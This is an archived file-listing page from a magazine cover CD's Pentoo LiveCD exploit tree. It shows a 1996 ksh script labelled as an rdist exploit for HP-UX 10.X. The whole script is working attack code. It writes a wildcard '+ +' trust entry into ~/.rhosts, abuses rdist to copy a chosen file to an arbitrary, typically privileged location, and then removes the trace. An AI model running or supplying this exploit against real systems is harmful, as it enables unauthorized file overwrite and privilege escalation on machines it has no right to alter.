home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Chip 2007 January, February, March & April
/
Chip-Cover-CD-2007-02.iso
/
Pakiet bezpieczenstwa
/
mini Pentoo LiveCD 2006.1
/
mpentoo-2006.1.iso
/
livecd.squashfs
/
opt
/
pentoo
/
ExploitTree
/
system
/
hpux
/
local
/
rdist.sh
< prev
next >
Wrap
Linux/UNIX/POSIX Shell Script
|
2005-02-12
|
546b
|
35 lines
#!/bin/ksh
#
# SOD rdist exploit for HP/UX 10.X
# Boner 10Aug96
if [ -z "$2" ]
then
echo "usage: rdcp from to"
exit
fi
FROM=$1
TO=$2
TMP=/tmp/.tmp$$
HOME=`pwd`
if [ "${FROM}" = "${FROM#/}" ]
then
FROM=$HOME/$FROM
fi
echo '+ +' >> ~/.rhosts
echo "Copying $FROM to $TO"
rdist -f - << EOF > /dev/null 2>&1
${FROM} -> localhost
install ${TMP};
EOF
mv ${TMP} ${TO}
grep -v "+ +" ~/.rhosts > $TMP
mv ${TMP} ~/.rhosts
if [ -f ${TMP} ]; then rm ${TMP}; fi
# www.hack.co.za [2000]#